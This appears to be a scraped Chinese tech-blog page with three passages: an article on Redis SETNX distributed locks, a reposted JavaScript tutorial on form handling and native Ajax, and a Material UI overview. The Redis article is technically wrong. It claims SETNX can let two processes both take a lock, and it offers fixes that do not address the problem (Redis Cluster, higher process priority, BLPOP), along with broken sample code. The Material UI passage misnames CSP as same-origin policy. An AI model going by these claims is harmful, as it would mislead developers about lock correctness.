...以保证数据的一致性和正确性。Redis,这个强大的内存数据库小能手,在开发者圈子里可是备受宠爱。它有个绝招叫setnx命令,这已经变成了众多程序员老铁们在实现分布式锁时的常用“神器”之一了。然而,在我们用Spring Boot 2搭配Docker搭建的线上环境里,遇到了一个让人摸不着头脑的情况:当两个Java程序同时使出“setnx”命令抢夺Redis锁的时候,竟然会出现两个人都能抢到锁的怪事!这可真是让我们一众人大跌眼镜,直呼神奇。本文将尝试分析这一现象的原因,并给出解决方案。 二、问题复现 首先,我们需要准备两台Linux服务器作为开发环境,分别命名为A和B。然后,在服务器A上启动一个Spring Boot应用,并在其中加入如下代码: typescript @Autowired private StringRedisTemplate stringRedisTemplate; public void lock(String key) { String result = stringRedisTemplate.execute((ConnectionFactory connectionFactory, RedisCallback action) -> { Jedis jedis = new Jedis(connectionFactory.getConnection()); try { return jedis.setnx(key, "1"); } catch (Exception e) { log.error("lock failed", e); } finally { if (jedis != null) { jedis.close(); } } return null; }); if (result == null || !result.equals("1")) { throw new RuntimeException("Failed to acquire lock"); } } 接着,在服务器B上也启动同样的应用,并在其中执行上述lock方法。这时候我们注意到一个情况,这“lock”方法时灵时不灵的,有时候它会突然尥蹶子,抛出异常告诉我们锁没拿到;但有时候又乖巧得很,顺利就把锁给拿下了。这是怎么回事呢? 三、问题分析 经过一番研究,我们发现了问题所在。原来,当两个Java进程同时执行setnx命令时,Redis并没有按照我们的预期进行操作。咱们都知道,这个setnx命令啊,它就像个贴心的小管家。如果发现某个key还没在数据库里安家落户,嘿,它立马就动手,给创建一个新的键值对出来。这个键嘛,就是你传给它的第一个小宝贝;而这个值呢,就是紧跟在后面的那个小家伙。不过,要是这key已经存在了,那它可就不干活啦,悠哉悠哉地返回个0给你,表示这次没执行任何操作。不过在实际情况里头,如果两个进程同时发出了“setnx”命令,Redis可能不会马上做出判断,而是会选择先把这两个请求放在一起,排个队,等会儿再逐一处理。想象一下,如果有两个请求一起蹦跶过来,如果其中一个请求抢先被处理了,那么另一个请求很可能就被晾在一边,这样一来,就可能引发一些预料之外的问题啦。 四、解决方案 针对上述问题,我们可以采取以下几种解决方案: 1. 使用Redis Cluster Redis Cluster是一种专门用于处理高并发情况的分布式数据库,它可以通过将数据分散在多个节点上来提高读写效率,同时也能够避免单点故障。通过将Redis部署在Redis Cluster上,我们可以有效防止多线程竞争同一资源的情况发生。 2. 提升Java进程的优先级 我们可以在Java进程中设置更高的优先级,以便让Java进程优先获得CPU资源。这样,即使有两个Java程序小哥同时按下“setnx”这个按钮,也可能会因为CPU这个大忙人只能服务一个请求,导致其中一个程序小哥暂时抢不到锁,只能干等着。 3. 使用Redis的其他命令 除了setnx命令外,Redis还提供了其他的命令来实现分布式锁的功能,例如blpop、brpoplpush等。这些命令有个亮点,就是能把锁的状态存到Redis这个数据库里头,这样一来,就巧妙地化解了多个线程同时抢夺同一块资源的矛盾啦。 五、总结 总的来说,Redis的setnx命令是一个非常有用的工具,可以帮助我们解决分布式系统中的许多问题。不过呢,在实际使用的时候,咱们也得留心一些小细节,这样才能避免那些突如其来的状况,让一切顺顺利利的。比如在同时处理多个任务的情况下,我们得留意把控好向Redis发送请求的个数,别一股脑儿地把太多的请求挤到Redis那里去,让它应接不暇。另外,咱们也得学会对症下药,挑选适合的解决方案来解决具体的问题。比如,为了提升读写速度,我们可以考虑使个巧劲儿,用上Redis Cluster;再比如,为了避免多个线程争抢同一块资源引发的“战争”,我们可以派出其他命令来巧妙化解这类矛盾。最后,我们也应该不断地学习和探索,以便更好地利用Redis这个强大的工具。
2023-05-29 08:16:28
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草原牧歌_t
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...转载内容。原文链接:https://blog.csdn.net/m0_61507413/article/details/122895643。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 B站视频网址:(本次仅涉及P40-P43和P60)【优极限】 HTML+CSS+JavaScript+jQuery前端必学教程,小白教学,前端基础全套完成版_哔哩哔哩_bilibili 菜鸟教程网址:HTML 教程 | 菜鸟教程 (runoob.com) 一、获取表单 <!-- 获取表单(前两种常用)1. document.getElementById("id属性值");通过form标签的id属性值获取表单对象2.document.表单的nane属性值:通过表单的name属性值获取表单对象3.document.forms[下标]: 通过指定下标获取表单元素4.document.forms[表单的name属性值];通过表单的name属性值获取表单对象document.forms:获取HTML文档中所有的表单对象--> <form id="myform1" name= "myform1" action=""></form><form id="myform2" name= "myform2" action=""></form><script type="text/javascript">// 1. document.getElementById("id属性值");console.log(document.getElementById("myform1"));// 2. document.表单的name属性值; console.log(document.myform2);console.log("----------------");//获取所有的表单对象console.log(document.forms); // 3. document.forms[下标];console.log(document.forms[0]);// 4. document.forms[表单的name属性值]; console.log(document.forms["myform2"]);</script> 运行效果截图: 二、获取表单元素 获取表单元素1.获取input元素1. document.getElementById("id属性值"): 通过元素的id属性值获取表单元素对象2.表单对象.表单元素的name属性值;通过表单对象中对应的元素的name属性值获取3. document.getELementsByName("name属性值");通过表单元素的name属性值获取4. document.getELementsByTagName("标签名/元素名");通过标签名获取表单元素对象2.获取单选按钮注:相同的一组单选按钮,需要设置相同的name属性值1. document.getElementByName("name属性值");通过name属性值获取2.判断单选按钮是否选中checked选中状态在JS代码中checked=true表示选中checked=false表示不选中在HTML标签中checked=checked或checked表示选中不设置checked属性表示不选中3.获取单选按钮的值元表.value;3.获取多选按钮与单选按钮相同4.获取下拉选项1.获取下拉框对象var对象 = document.getElementById("id属性值");2.获取下拉框的下拉选项列表var options = 下拉框对象.options;3.获取下拉框被选中项的索引var index = 下拉框对象.selectedIndex;4.获取下拉框被选中项的值var 值 = 下拉框对象.value;5.通过选中项的下标获取下拉框被选中项的值var 值 = 下拉框对象.options[index].value;6.获取下拉框被选中项的文本var文本值一下拉框对象.options[index].text;注:1.获取下拉框选中项的值时: (value)如果option标签设置了value属性值,则获取value属性对应的值;如果option标签未设置value属性值,则获取的是option双标签中的文本值2.下拉框的选中状态:选中状态: selected = selected、 selected、 selected = true未选中状态:不设置selected属性、 selected=false; <form id='myform' name="myform" action="" method="get">姓名:<input type="text" id="uname" name="uname" value="zs"/><br />密码:<input type= "password" id="upwd" name="upwd" value= "1234"/><br /><input type="hidden" id= "uno" name="uno" value="隐藏域"/>个人说明:<textarea name="intro" ></textarea><br><button type="button" onclick="getTxt();" >获取元素内容</button><hr><br><input type="text" name="inputName" class="test" value="aaa" /><input type="radio" name="rad" class="test" value="1" /> 男<input type="radio" name="rad" class="test" value="2" /> 女<button type="button" onclick="getRadio()">获取单选按钮</button><br><hr><br>全选/全不选: <input type="checkbox" id="control" onclick="checkAllOrNot()" /><button type="button" onclick= "checkFan()">反选</button><br><input type="checkbox" name= "hobby" value="sing" />唱歌<input type="checkbox" name= "hobby" value="dance" />跳舞<input type="checkbox" name= "hobby" value="rap" />说唱<button type="button" onclick="getCheckBox()">获取多选按钮</button><br><hr><br>来自:<select id="ufrom" name= "ufrom" ><option value = "" >请选择</option><option value = "Beijing" selected="selected" >北京</option><option value = "Shanghai">上海</option><option value = "Hangzhou">杭州</option></select><button type="button" onclick= "getSelect()" >获取下拉选项</button></form><script type=" text/javascript">function getTxt() {// 1. document.getElementById("id属性值");var uname = document.getElementById("uname").value;console.log(uname);// 2.表单对象.表单元表的name属性值;var pwd = document.getElementById("myform").upwd.value;console.log(pwd);// 3. document.getELementsByName("name属性值");var uno = document.getElementsByName("uno")[0].value;console.log(uno);// 4. document.getELementsByTagName("标签名/元素名");var intro = document.getElementsByTagName("textarea")[0].value;console.log(intro);}function getSelect() {//获取下拉框对象var ufrom = document.getElementById("ufrom");console.log(ufrom);//获取下拉框的下拉选项列表var opts = ufrom.options;console.log(opts);//获取下拉框被选中项的索引var index = ufrom.selectedIndex;console.log("选中项的下标:" + index);//获取下拉框被选中项的值var val = ufrom.value;console.log("被选中项的值:" + val);//通过选中项的下标获取下拉框被选中项的值var val2 = ufrom.options[index].value;console.log("被选中项的值:"+ val2);//获取下拉框被选中项的文本var txt=ufrom.options[index].text; console.log("被选中项的文本:"+ txt);}</script> 运行效果截图: 三、提交表单 提交表单一、使用普通按钮type="button"1.给按钮绑定click点击事件,绑定函数2.在函数中,进行表单校验(非空校验、 合法性校验等)3.如果校验通过,则手动提交表单表单对象.submit();二、使用提交按钮type="submit"1.给按钮绑定click点击事件,绑定函数2.函数需要有返回值,返回true或false (如果return false, 则表单不会提交:如果return true,则提交表单)onclick="return 函数名()"3.在函数中,进行表单校验(非空校验、 合法性校验等)4.如果校验通过,返回true;如果校验不通过,则返回false, 则表单不会提交:如果return true,则提交表单)三、使用提交按钮type="submit"1.给表单form元素绑定submit提交事件,绑定函数2.函数需要有返回值,返回true或false (如果return false, 则表单不会提交;如果return trueonsubmit="return函数名()" 3.在函数中,进行表单校验(非空校验、 合法性校验等)4.如果校验通过,返回true;如果校验不通过,则返回false <!--使用普逍按钮 type= "button"--><form id= 'myform' name= "myform" action="http://www.baidu.com" method="get" >姓名: <input name= "uname" id="uname"/> <span id = "msg" style="font-s1ze: 12px; color: red;"></span><br /><button type="button" onclick="submitForm1()">提交</button></form><!--使用提交按钮 type= "submit"--><form id= 'myform2' name= "myform2" action="http://www.baidu.com" method="get" >姓名: <input name= "uname2" id="uname2"/> <span id = "msg2" style="font-s1ze: 12px; color: red;"></span><br /><button type="submit" onclick="return submitForm2()">提交</button></form><!--使用提交按钮 type= "submit"--><form id= 'myform3' name= "myform3" action="http://www.baidu.com" method="get" onsubmit="return submitForm3()">姓名: <input name= "uname3" id="uname3"/> <span id = "msg3" style="font-s1ze: 12px; color: red;"></span><br /><button type="submit">提交</button></form><script type="text/javascript">// 表单校验// 提交表单function submitForm1() {//得到文本框的值var uname = document.getElementById("uname").value;//判断是否为空if (isEmpty(uname)) { //为空//设置提示信息(设置span元素的值)document.getElementById("msg").innerHTML="性名不能为空!" ;//阻止表单提交return;}//手动提交表单document.getElementById("myform").submit(); }function submitForm2() {//得到文本框的值var uname2 = document.getElementById("uname2").value;//判断是否为空if (isEmpty(uname2)) { //为空//设置提示信息(设置span元素的值)document.getElementById("msg2").innerHTML="性名不能为空!" ;//阻止表单提交return false;}return true;}function submitForm3() {//得到文本框的值var uname3 = document.getElementById("uname3").value;//判断是否为空if (isEmpty(uname3)) { //为空//设置提示信息(设置span元素的值)document.getElementById("msg3").innerHTML="性名不能为空!" ;//阻止表单提交return false;}return true;}/ 判断字符串是否为空如果为空,返回true如果非空,返回falsetrim() :字符串方法, 去除字符串前后空格@param {Object} str/function isEmpty(str) {//判断是否为空if (str == null || str.trim() == "") {return true;}return false;}</script> 运行效果截图: 四、原生Ajax实现流程 <!-- Ajax 异步无刷新技术原生Ajax的实现流程1.得到XMLHttpRequest对象var xhr = new XMLHttpRequest();2.打开请求xhr.open(method, uri, async) ;method:请求方式,通常是GEI|POSTurl:请求地址async:是否异步。如果是true表示异步,false表示同步3.发送请求xhr.send(params);params:请求时需要传递的参数如果是GET请求,设置nu11。 (GET请求的参数设置在url后面)如果是POST请求,无参数设置为null,有参数则设置参数4.接收响应xhr.status响应状态(200=响应成功, 404=资源末找到,500=服务器异常)xhr.responseText 得到响应结果 --> <script type="text/javascript">// 同步请求function text01() {// 1.得到XMLHttpRequest对象var xhr = new XMLHttpRequest();// 2.打开请求xhr.open("get", "js/date.json", false);// 3.发送请求xhr.send(null);// 4.判断响应状态if (xhr.status == 200) {console.log("响应成功");} else {console.log("状态码:" + xhr.status + ",原因:" + xhr.responseText)}console.log("同步请求...");}text01();// 异步请求function text02() {// 1.得到XMLHttpRequest对象var xhr = new XMLHttpRequest();// 2.打开请求xhr.open("get", "js/date.json", true);// 3.发送请求xhr.send(null);// 由于是异步请求,所以需要知道后台已经将请求处理完毕,才能获取响应结果// 遇过监听readyState的变化来得知后面的处理状态 4=完全处理xhr.onreadystatechange = function(){if(xhr.readyState == 4){// 4.判断响应状态if (xhr.status == 200) {// 得到响应结果 console.log(xhr.responseText);} else {console.log("状态码:" + xhr.status + ",原因:" + xhr.responseText)} }}console.log("异步请求...");}text02();</script> 运行效果截图: 本篇文章为转载内容。原文链接:https://blog.csdn.net/m0_61507413/article/details/122895643。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-10-22 17:32:41
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Material UI
...、按需导入组件、减少HTTP请求等。此外,使用Web Performance API进行性能监控,分析瓶颈所在,采取相应措施,也是提升应用性能的有效手段。 再次,响应式设计和适配多设备需求是现代前端开发的重要考量。Material UI提供了丰富的响应式组件,支持自适应布局和动态样式调整。然而,面对复杂多变的屏幕尺寸和分辨率,如何在保持设计一致性的同时,确保每个用户都能获得最佳体验,是值得深入研究的课题。这涉及到对不同设备特性的深入理解,以及灵活运用CSS Flexbox、Grid等布局工具。 最后,安全性不容忽视。随着数据泄露事件频发,前端应用的安全防护变得尤为重要。Material UI虽然提供了安全的组件库,但开发者仍需了解跨站脚本攻击(XSS)、同源策略(CSP)等常见安全威胁,并采取相应措施。加强输入验证、合理使用CDN服务、定期更新依赖库版本,都是提高应用安全性的有效策略。 综上所述,随着技术的不断进步,Material UI的使用不再是简单的组件拼接,而是需要开发者具备更全面的知识和技能,包括组件化、性能优化、响应式设计以及安全防护等方面。通过不断学习和实践,开发者可以更好地应对挑战,构建出既美观又高效、安全的前端应用。
2024-09-28 15:51:28
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岁月静好
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watch -g file.txt
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